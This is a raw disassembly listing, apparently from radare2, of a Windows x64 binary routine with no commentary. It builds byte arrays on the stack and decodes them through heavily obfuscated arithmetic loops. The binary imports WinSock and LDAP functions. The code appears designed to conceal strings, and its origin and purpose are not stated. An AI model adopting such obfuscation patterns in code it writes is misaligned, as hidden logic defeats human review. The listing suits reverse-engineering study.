mov byte [rbp + 0xc3e], reloc.WLDAP32.dll_Ordinal_143
mov byte [rbp + 0xc3f], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0xc40], Ordinal_143
mov byte [rbp + 0xc41], WSAGetLastError
mov byte [rbp + 0xc42], 0xa7
mov byte [rbp + 0xc43], WSASetLastError
mov byte [rbp + 0xc44], 0x88
mov byte [rbp + 0xc45], reloc.WS2_32.dll_setsockopt
mov byte [rbp + 0xc46], 0xfe
mov byte [rbp + 0xc47], reloc.WS2_32.dll_socket
mov byte [rbp + 0xc48], 0xfd
mov byte [rbp + 0xc49], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0xc4a], 0x80
mov byte [rbp + 0xc4b], reloc.WS2_32.dll_send
mov byte [rbp + 0xc4c], 0xfd
mov byte [rbp + 0xc4d], Ordinal_32
mov byte [rbp + 0xc4e], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0xc4f], Ordinal_32
mov byte [rbp + 0xc50], 0xfa
mov byte [rbp + 0xc51], Ordinal_27
mov byte [rbp + 0xc52], 0xf3
mov byte [rbp + 0xc53], reloc.WLDAP32.dll_Ordinal_27
mov byte [rbp + 0xc54], __WSAFDIsSet
mov byte [rbp + 0xc55], 5
mov byte [rbp + 0xc56], 6
mov byte [rbp + 0xc57], 7
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xc58], xmm0
mov qword [rbp + 0xc68], rax
mov dil, byte [rsp + 0x50]
movabs r14, 0xe2ff43c1b0c1bb8c
call fcn.14024ffe8
mov rbx, qword [rax]
call fcn.14024fff0
mov r9, qword [rax]
mov r12d, Ordinal_41
mov r10, r13
mov esi, 1
cmp r10, 0x60
jae 0x1401efd56
movzx r8d, byte [rbp + r10 + 0xc10]
mov r11d, r8d
cmp rbx, r10
ja 0x1401efd4d
lea rax, [r9 + 1]
cmp rbx, rax
jae 0x1401ef356
movabs rcx, 0xe2ff43c1b0c1bb8c
add rcx, r10
mov rax, rcx
and rax, r8
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, r8
add dil, 0x2c
movabs r14, 0xe2ff43c1b0c1bb8c
jmp 0x1401ef383
je 0x1401efcc8
lea rax, [r9 + 2]
cmp rbx, rax
je 0x1401efc73
lea rax, [r9 + 5]
cmp rbx, rax
je 0x1401efc10
lea rax, [r9 + 3]
cmp rbx, rax
je 0x1401efbe9
cmp r9, r10
ja 0x1401efd44
lea rax, [r9 + 0x400]
cmp rbx, rax
jae 0x1401ef3bb
movabs rcx, 0x9ef08ee37fe4627c
add rcx, r10
mov al, r8b
and al, cl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x64
add dil, cl
jmp 0x1401ef3ef
lea rax, [r9 + 1]
cmp rbx, rax
je 0x1401efba2
lea rax, [r9 + 2]
cmp rbx, rax
je 0x1401efb7e
lea rax, [r9 + 4]
cmp rbx, rax
je 0x1401efb5b
lea rax, [r9 + 5]
cmp rbx, rax
je 0x1401efb38
mov r11d, Ordinal_32
lea rax, [r9 + rbx]
cmp rax, r10
jbe 0x1401ef751
lea rax, [r9 + 0x41]
cmp rbx, rax
je 0x1401ef72e
lea rax, [r9 + 0x64]
cmp rbx, rax
je 0x1401ef707
lea rax, [r9 + 8]
cmp rbx, rax
je 0x1401ef6e3
lea rax, [r9 + 0x5a]
cmp rbx, rax
je 0x1401ef6bf
lea rax, [r9 + 0x80]
cmp rbx, rax
je 0x1401ef69c
lea rax, [r9 + 9]
cmp rbx, rax
je 0x1401ef675
lea rbx, [r9 + 4]
lea r9, [rbx + 0x2a]
lea rax, [r9 + 0x61]
cmp rbx, rax
jb 0x1401efd20
lea rax, [r9 + 0x40]
cmp rbx, rax
jb 0x1401efcfd
lea rax, [r9 + 5]
cmp rbx, rax
jb 0x1401ef51a
lea rax, [r9 + 0x7a]
cmp rbx, rax
jb 0x1401ef65e
lea rax, [r9 + 0x42]
cmp rbx, rax
jb 0x1401ef62f
lea rax, [r9 + 6]
cmp rbx, rax
jb 0x1401ef402
lea rbx, [r9 + 2]
lea r9, [rbx + 0x41]
lea rax, [r9 + 0x10]
cmp rbx, rax
ja 0x1401ef608
lea rax, [r9 + 2]
cmp rbx, rax
ja 0x1401ef5f7
lea rax, [r9 + 0x400]
cmp rbx, rax
ja 0x1401ef5d4
lea rax, [r9 + 0x20]
cmp rbx, rax
ja 0x1401ef5ad
lea rax, [r9 + 3]
cmp rbx, rax
ja 0x1401ef586
lea rax, [r9 + 0x1000]
cmp rbx, rax
ja 0x1401ef562
lea rax, [r9 + 0x28]
cmp rbx, rax
ja 0x1401ef53f
lea rbx, [r9 + 0x80]
lea r9, [rbx + 0x28]
jmp 0x1401ef402
movabs rdx, 0x4099ca2af930d504
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
add dil, dl
sub dil, r11b
jmp 0x1401ef3f5
movabs rdx, 0xf784771bff2313e0
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x20
jmp 0x1401ef92c
movabs rcx, 0x3185ef989d9f9cc8
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x78
jmp 0x1401efbe4
movabs rdx, 0x6b8768153c1c25b0
add rdx, r10
mov al, dl
and al, r8b
mov ecx, Ordinal_27
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x1401efc08
movabs rdx, 0x198bd18b1791c068
add rdx, r10
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x1401efc60
movabs rcx, 0x538d4a07b60e4950
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x30
jmp 0x1401efaff
movabs rdx, 0x8d8ec284548ad238
mov ecx, reloc.WLDAP32.dll_Ordinal_60
jmp 0x1401ef684
movabs rdx, 0xc7903b00f3075b20
add rdx, r10
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x1401efce6
movabs rdx, 0x5893e8387f3eb164
add rdx, r10
mov al, r8b
and al, dl
mov ecx, Ordinal_35
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
mov byte [rbp + r10 + 0xc10], dil
jmp 0x1401efcf5
movabs rdx, 0x69851ae5ab44c1c
add rdx, r10
mov ecx, reloc.WLDAP32.dll_Ordinal_30
jmp 0x1401ef767
movabs rdx, 0xf3a4d1d19dd6d7d0
mov ecx, Ordinal_41
add rdx, r10
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x1401efc93
movabs rcx, 0x2da64a4e3c5360b8
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 8
jmp 0x1401efaff
movabs rcx, 0x67a7c2cadacfe9a0
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x60
jmp 0x1401efc60
movabs rcx, 0x15ac2c40b6458458
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x68
jmp 0x1401efc08
movabs rdx, 0x4fada4bd54c20d40
add rdx, r10
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x1401efbe4
movabs rcx, 0x89af1d39f33e9628
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x18
jmp 0x1401efbc0
lea rax, [r9 + 0x61]
cmp rbx, rax
jae 0x1401ef822
lea rdx, [r10 + r14]
mov ecx, reloc.WLDAP32.dll_Ordinal_22
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
lea rax, [r9 + rbx]
cmp rax, 2
je 0x1401efad7
lea rax, [r9 + 0x41]
cmp rbx, rax
jbe 0x1401ef905
movabs rdx, 0x16d325271e29b05c
add rdx, r10
mov al, dl
and al, r8b
mov ecx, 0x3e
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
cmp rbx, 0x80
jae 0x1401efaaf
lea rax, [r9 + 0x28]
cmp rbx, rax
jbe 0x1401ef9ad
movabs rdx, 0xb5c3b40a9e0e12d8
add rdx, r10
mov al, r8b
and al, dl
mov ecx, ntohl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
cmp r9, 0x42
jb 0x1401ef651
movabs rdx, 0x71b4ff2c6d30b9c8
add rdx, r10
mov al, r8b
and al, dl
mov ecx, 4
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
lea edi, [rcx + rcx]
jmp 0x1401efbc0
lea rax, [r9 + 1]
cmp rbx, rax
jne 0x1401ef850
movabs rdx, 0x3de11dc6ffc8c4f8
mov ecx, r11d
add rdx, r10
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x1401efce6
lea rax, [r9 + 3]
cmp rbx, rax
jne 0x1401ef87c
movabs rdx, 0xc9de2ccdc2cfb328
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x18
jmp 0x1401efafc
lea rax, [r9 + 2]
cmp rbx, rax
jne 0x1401ef8a9
movabs rcx, 0x55db3bd485d6a158
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x68
jmp 0x1401efc5d
lea rax, [r9 + 5]
cmp rbx, rax
jne 0x1401ef8d5
movabs rcx, 0x1bd9c357e75a1870
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x10
jmp 0x1401efc32
lea rax, [r9 + 8]
cmp rbx, rax
jne 0x1401ef777
movabs rcx, 0x6dd559e20be47db8
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 8
jmp 0x1401efbc0
lea rax, [r9 + 1]
cmp rbx, rax
jne 0x1401ef934
movabs rdx, 0xdcd1acaa7fad2774
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x2c
add dil, dl
jmp 0x1401efbc0
lea rax, [r9 + 2]
cmp rbx, rax
jne 0x1401ef951
movabs rdx, 0xa2d0342de1309e8c
mov ecx, reloc.WLDAP32.dll_Ordinal_22
jmp 0x1401efb8d
lea rax, [r9 + 3]
cmp rbx, rax
jne 0x1401ef97e
movabs rcx, 0xbaca523b673e7aec
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x74
jmp 0x1401efc60
lea rax, [r9 + 7]
cmp rbx, rax
jne 0x1401ef7b4
movabs rcx, 0x80c8d9bec8c1f204
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, r11b
jmp 0x1401efaff
lea rax, [r9 + 1]
cmp rbx, rax
jne 0x1401ef9ca
movabs rdx, 0x7bc23b8dff9189f0
mov ecx, Ordinal_60
jmp 0x1401ef838
lea rax, [r9 + 2]
cmp rbx, rax
jne 0x1401ef9f6
movabs rcx, 0x41c0c31161150108
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x38
jmp 0x1401efc93
lea rax, [r9 + 5]
cmp rbx, rax
jne 0x1401efa22
movabs rcx, 0x93bc599b859f6650
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x30
jmp 0x1401efc5d
lea rax, [r9 + 6]
cmp rbx, rax
jne 0x1401efa52
movabs rdx, 0x59bae11ee722dd68
add rdx, r10
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x1401efc32
lea rax, [r9 + 4]
cmp rbx, rax
jne 0x1401efa7e
movabs rcx, 0x1fb968a248a65480
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0x80
jmp 0x1401efc08
lea rax, [r9 + 3]
cmp rbx, rax
jne 0x1401ef7f0
movabs rcx, 0xe5b7f025aa29cb98
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x28
jmp 0x1401efbe4
movabs rdx, 0x37b386afceb430e0
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov dil, byte [rbp + r10 + 0xc10]
sub dil, al
sub dil, 0x20
jmp 0x1401efc2c
movabs rdx, 0xfdb20e333037a7f8
add rdx, r10
mov al, r8b
and al, dl
mov ecx, r11d
sub cl, al
lea edi, [rcx + rcx]
sub dil, byte [rbp + r10 + 0xc10]
add dil, r8b
add dil, dl
movabs rdx, 0xe0b151f4e0f96384
add rdx, r10
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
add cl, cl
add cl, dl
add cl, r8b
movzx eax, cl
mov byte [rbp + r10 + 0xc10], al
add r9, rsi
add rax, r9
sub r10, rax
jmp 0x1401efc93
movabs rcx, 0x42e7bbf7c8f92d0c
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x54
jmp 0x1401efc60
movabs rdx, 0xb6eaacf105f23edc
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 4
jmp 0x1401efc2f
movabs rdx, 0x2aed9dea42eb50ac
mov ecx, Ordinal_41
add rdx, r10
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x1401efbe4
movabs rcx, 0x64ef1666e167d994
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0xc
movabs rcx, 0x54b442ee1df27554
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x4c
add cl, r8b
mov byte [rbp + r10 + 0xc10], cl
add r9, rsi
jmp 0x1401efc08
movabs rcx, 0x4cf4f8595b59fd34
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x6c
sub r10, rsi
jmp 0x1401efcf5
movabs rdx, 0x86f670d5f9d6861c
add rdx, r10
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
movabs rdx, 0x1ab2ca717f75ec6c
add rdx, r10
mov al, dl
and al, r8b
mov ecx, 6
sub cl, al
add cl, cl
add cl, dil
add cl, dl
add cl, r8b
mov byte [rbp + r10 + 0xc10], cl
add rbx, r9
movzx eax, dil
or rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
jmp 0x1401efcf5
movabs rdx, 0x6efc52c873c8a9bc
add rdx, r10
mov al, dl
and al, r11b
add al, al
mov dil, r11b
sub dil, al
add dil, dl
sub dil, r12b
movabs rcx, 0xc3b095b691bb1f10
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
sub r8b, 0x70
add r8b, cl
mov byte [rbp + r10 + 0xc10], r8b
add rbx, rsi
or rax, 0xffffffffffffffff
sub rax, rbx
add r10, rax
jmp 0x1401efce6
movabs rcx, 0xa8fdcb45124532a4
add rcx, r10
mov al, r11b
and al, cl
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x7c
movzx eax, byte [rbp + r10 + 0xc10]
add rax, r9
add r10, rax
add r10, rsi
jmp 0x1401ef301
movabs rcx, 0xee9e33a0d4a66fbc
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, r12b
jmp 0x1401ef2f9
movabs rcx, 0x289fac1d7322f8a4
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x7c
jmp 0x1401ef2e3
lea rdx, [rbp + 0x16a0e20]
jmp 0x1401efd5d
lea rdx, [rbp + 0x6bc9ac]
jmp 0x1401efd5d
lea rdx, [rbp + 0xc10]
lea rcx, [rbp + 0x4a0]
call fcn.14009e330
mov rbx, rax
mov qword [rsp + 0x58], rax
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x1db0]
call sub.VCRUNTIME140.dll_memset
mov rdx, rbx
cmp qword [rbx + 0x18], 7
jbe 0x1401efd92
mov rdx, qword [rbx]
mov dword [rsp + 0x20], esi
mov r15d, 0x40
mov r9d, r15d
lea r14d, [r15 - 0x3e]
mov r8d, r14d
lea rcx, [rbp + 0x1db0]
call fcn.140174580
nop
lea rcx, [rbp + 0x1db0]
call fcn.14024e690
nop
lea rcx, [rbp + 0x1db0]
call fcn.1400a2eb0
nop
mov rcx, rbx
call fcn.1400aa310
mov byte [rbp + 0x8c0], 0x9b
mov byte [rbp + 0x8c1], reloc.WLDAP32.dll_Ordinal_217
mov byte [rbp + 0x8c2], 0x90
mov byte [rbp + 0x8c3], 0xdb
mov byte [rbp + 0x8c4], reloc.WS2_32.dll_WSASetLastError
mov byte [rbp + 0x8c5], Ordinal_217
mov byte [rbp + 0x8c6], 0x7b
mov byte [rbp + 0x8c7], Ordinal_217
mov byte [rbp + 0x8c8], 0x43
mov byte [rbp + 0x8c9], Ordinal_211
mov byte [rbp + 0x8ca], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x8cb], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0x8cc], 0x5e
mov byte [rbp + 0x8cd], Ordinal_211
mov byte [rbp + 0x8ce], 0x5d
mov byte [rbp + 0x8cf], Ordinal_211
mov byte [rbp + 0x8d0], WSASetLastError
mov byte [rbp + 0x8d1], 0xc9
mov byte [rbp + 0x8d2], 0x7a
mov byte [rbp + 0x8d3], 0xcb
mov byte [rbp + 0x8d4], Ordinal_79
mov byte [rbp + 0x8d5], Ordinal_200
mov byte [rbp + 0x8d6], 0x64
mov byte [rbp + 0x8d7], Ordinal_200
mov byte [rbp + 0x8d8], 0x54
mov byte [rbp + 0x8d9], 0xc1
mov byte [rbp + 0x8da], 0x5b
mov byte [rbp + 0x8db], Ordinal_200
mov byte [rbp + 0x8dc], 0x9f
mov byte [rbp + 0x8dd], 0x3d
mov byte [rbp + 0x8de], 0x9a
mov byte [rbp + 0x8df], 0x3f
mov byte [rbp + 0x8e0], 0x84
mov byte [rbp + 0x8e1], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0x8e2], 0xa8
mov byte [rbp + 0x8e3], Ordinal_60
mov byte [rbp + 0x8e4], 0xad
mov byte [rbp + 0x8e5], gethostname
mov byte [rbp + 0x8e6], 0xb8
mov byte [rbp + 0x8e7], Ordinal_60
mov byte [rbp + 0x8e8], 0xad
mov byte [rbp + 0x8e9], Ordinal_50
mov byte [rbp + 0x8ea], 0xa0
mov byte [rbp + 0x8eb], gethostname
mov byte [rbp + 0x8ec], 0xbf
mov byte [rbp + 0x8ed], reloc.WLDAP32.dll_Ordinal_45
mov byte [rbp + 0x8ee], 0x78
mov byte [rbp + 0x8ef], Ordinal_50
mov byte [rbp + 0x8f0], Ordinal_143
mov byte [rbp + 0x8f1], reloc.WLDAP32.dll_Ordinal_41
mov byte [rbp + 0x8f2], 0xb3
mov byte [rbp + 0x8f3], Ordinal_45
mov byte [rbp + 0x8f4], 0xb2
mov byte [rbp + 0x8f5], Ordinal_41
mov byte [rbp + 0x8f6], Ordinal_41
mov byte [rbp + 0x8f7], Ordinal_45
xor eax, eax
mov qword [rbp + 0x8f8], rax
mov dword [rbp + 0x900], eax
mov word [rbp + 0x904], ax
mov byte [rbp + 0x906], al
mov bl, byte [rsp + 0x50]
call fcn.14024ffe8
mov rdi, qword [rax]
call fcn.14024fff0
mov r10, qword [rax]
mov r9, r13
cmp r9, 0x47
jae 0x1401f0aa7
movzx r8d, byte [rbp + r9 + 0x8c0]
mov rdx, r8
cmp rdi, r9
ja 0x1401f0a9e
lea rax, [r10 + 1]
cmp rdi, rax
jae 0x1401effdb
movabs r11, 0x76773772b8399364
lea rcx, [r9 + r11]
mov rax, rcx
and rax, rdx
imul rbx, rax, 0xfffffffffffffffe
add rbx, rcx
add rbx, rdx
add bl, 0x44
jmp 0x1401f0012
je 0x1401f0a1a
lea rax, [r10 + 3]
cmp rdi, rax
je 0x1401f09ea
lea rax, [r10 + 2]
cmp rdi, rax
je 0x1401f09c7
lea rax, [r10 + 7]
cmp rdi, rax
je 0x1401f0979
movabs r11, 0x76773772b8399364
cmp r10, r9
ja 0x1401f0a95
lea rax, [r10 + 0x28]
cmp rdi, rax
jae 0x1401f0045
movabs rdx, 0xb7c78c691cb91734
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x6c
jmp 0x1401f0208
lea rax, [r10 + 1]
cmp rdi, rax
je 0x1401f0968
lea rax, [r10 + 3]
cmp rdi, rax
je 0x1401f0945
lea rax, [r10 + 2]
cmp rdi, rax
je 0x1401f08fb
lea rax, [r10 + 5]
cmp rdi, rax
je 0x1401f08d5
lea rax, [r10 + 6]
cmp rdi, rax
je 0x1401f084a
lea rax, [r10 + rdi]
cmp rax, r9
jbe 0x1401f04e9
lea rax, [r10 + 2]
cmp rdi, rax
je 0x1401f04c3
lea rax, [r10 + 0x42]
cmp rdi, rax
je 0x1401f04a0
lea rax, [r10 + 1]
cmp rdi, rax
je 0x1401f048e
lea rax, [r10 + 0x40]
cmp rdi, rax
je 0x1401f046d
lea rax, [r10 + 0x2a]
cmp rdi, rax
je 0x1401f0447
lea rax, [r10 + 0x28]
cmp rdi, rax
je 0x1401f0424
lea rax, [r10 + 0x64]
cmp rdi, rax
je 0x1401f0410
lea rdi, [r10 + 0x5a]
lea r10, [rdi + 0x40]
lea rax, [r10 + 0x20]
cmp rdi, rax
jb 0x1401f0a72
lea rax, [r10 + 0x41]
cmp rdi, rax
jb 0x1401f0a4c
lea rax, [r10 + 0x10]
cmp rdi, rax
jb 0x1401f0235
lea rax, [r10 + 0x40]
cmp rdi, rax
jb 0x1401f020f
lea rax, [r10 + 0x2a]
cmp rdi, rax
jb 0x1401f01ec
lea rax, [r10 + 0x28]
cmp rdi, rax
jb 0x1401f03f9
lea rax, [r10 + 0x5a]
cmp rdi, rax
jb 0x1401f0371
mov rdi, rax
lea r10, [rax + 0x7a]
lea rax, [r10 + 0x20]
cmp rdi, rax
ja 0x1401f035d
lea rax, [r10 + 0x41]
cmp rdi, rax
ja 0x1401f033c
lea rax, [r10 + 0x10]
cmp rdi, rax
ja 0x1401f0328
lea rax, [r10 + 0x7a]
cmp rdi, rax
ja 0x1401f0305
lea rax, [r10 + 0xa]
cmp rdi, rax
ja 0x1401f02e3
lea rax, [r10 + 0x61]
cmp rdi, rax
ja 0x1401f02c2
lea rcx, [r10 + 9]
cmp rdi, rcx
ja 0x1401f029f
lea rax, [r10 + 0x1000]
cmp rdi, rax
ja 0x1401f0279
lea rax, [r10 + 8]
cmp rdi, rax
ja 0x1401f0258
lea rax, [r10 + 0x400]
cmp rdi, rax
ja 0x1401f0093
mov rdi, rcx
lea r10, [rcx + 6]
jmp 0x1401f0093
movabs rdx, 0x52bb1b4a0743074c
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x14
add bl, dl
jmp 0x1401f0086
movabs rdx, 0x65ccac6496cfe084
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401f0012
movabs rdx, 0x78de3d7f265cb9bc
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, dl
sub bl, r12b
jmp 0x1401effa3
movabs rdx, 0xbe3c6348e5c8b9a0
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x60
jmp 0x1401f0998
movabs rdx, 0xd14df463755592d8
mov ecx, ntohl
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401f09c2
movabs rcx, 0xe45f857e04e26c10
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x70
jmp 0x1401f09e5
movabs rdx, 0xf7711698946f4548
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 4
sub cl, al
lea ebx, [rcx + rcx]
jmp 0x1401f081a
movabs rcx, 0xa82a7b323fc1e80
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, 0x80
jmp 0x1401f0a08
movabs rcx, 0x1d9438cdb388f7b8
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 8
jmp 0x1401f0a0b
movabs rdx, 0x30a5c9e84315d0f0
mov ecx, Ordinal_60
jmp 0x1401f0859
movabs rdx, 0x43b75b02d2a2aa28
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x18
jmp 0x1401f06be
movabs rdx, 0x56c8ec1d622f8360
mov ecx, Ordinal_50
jmp 0x1401f0565
movabs rdx, 0x2c97f914e82954dc
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 4
add bl, dl
cmp rdi, 4
jae 0x1401f07f9
lea rax, [r10 + 0x3e8]
cmp rdi, rax
jbe 0x1401f06f5
movabs rdx, 0xf22fc2bf02713608
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x38
add bl, dl
cmp r10, 4
jb 0x1401f07ec
movabs rcx, 0x338017b566f0b9d8
add rcx, r9
mov al, cl
and al, r8b
mov edx, ntohl
sub dl, al
add dl, dl
add dl, cl
add dl, r8b
lea ebx, [rdx + rdx]
jmp 0x1401f099a
movabs rdx, 0x3fa98a2f77b62e14
add rdx, r9
mov ecx, Ordinal_60
jmp 0x1401f04fb
movabs rdx, 0x74d06cabcb703da8
mov ecx, 0x34
jmp 0x1401f0859
movabs rcx, 0x87e1fdc65afd16e0
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x20
jmp 0x1401f0a0b
movabs rdx, 0x9af38ee0ea89f018
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_45
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401f0a08
movabs rdx, 0xae051ffb7a16c950
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x30
jmp 0x1401f081d
movabs rdx, 0xc116b11609a3a288
mov ecx, r12d
jmp 0x1401f0954
movabs rcx, 0xd428423099307bc0
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, r15b
jmp 0x1401f09c2
movabs rdx, 0xe739d34b28bd54f8
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_32
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x1401f099a
lea rax, [r10 + 0x41]
cmp rdi, rax
jae 0x1401f054d
lea rdx, [r9 + r11]
mov ecx, Ordinal_35
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
lea rax, [r10 + rdi]
cmp rax, 0x1000
je 0x1401f0824
lea rax, [r10 + 0xa]
cmp rdi, rax
jbe 0x1401f05e6
movabs rdx, 0x3a683655e5b81ed4
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x1401f038f
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x1401f057c
movabs rdx, 0x6f8f18d239722e68
mov ecx, reloc.WS2_32.dll_sendto
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401f0a35
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x1401f0599
movabs rdx, 0x496bf69d1a587bf8
mov ecx, Ordinal_32
jmp 0x1401f0859
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x1401f05c5
movabs rcx, 0x365a65828acba2c0
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, r15b
jmp 0x1401f0a0b
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x1401f050a
movabs rdx, 0xfd25b232dc251718
mov ecx, Ordinal_45
jmp 0x1401f0954
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x1401f0610
movabs rdx, 0x2756a53b562b459c
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x44
jmp 0x1401f0998
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x1401f063f
movabs rdx, 0x14451420c69e6c64
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_35
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x1401f09c2
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x1401f066b
